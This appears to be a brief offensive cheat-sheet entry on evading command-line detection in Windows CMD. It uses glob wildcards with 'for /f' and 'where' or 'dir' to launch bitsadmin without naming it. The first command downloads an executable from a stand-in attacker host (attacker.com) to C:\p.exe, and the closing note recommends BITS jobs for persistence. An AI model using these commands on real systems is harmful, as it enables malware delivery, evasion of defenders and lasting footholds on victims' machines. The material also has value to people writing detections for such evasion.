Glob Patterns

Pattern Wildcards Notes
for /f %i in ('where bits*.exe') do %i /transfer job /download /priority normal http://attacker.com/p.exe C:\p.exe
* Star matches 'admin' after 'bits'
for /f %i in ('where b*admin.exe') do %i
* Star replaces 'its'
for /f %i in ('where bitsad?in.exe') do %i
? Single char wildcard replaces 'm'
for /f %i in ('dir /b C:\Windows\System32\bits*.exe') do %i
* dir /b with glob pattern

Platform Notes

CMD glob evasion requires the for /f + where pattern. BITS jobs persist across reboots by default, making bitsadmin useful for persistence too.
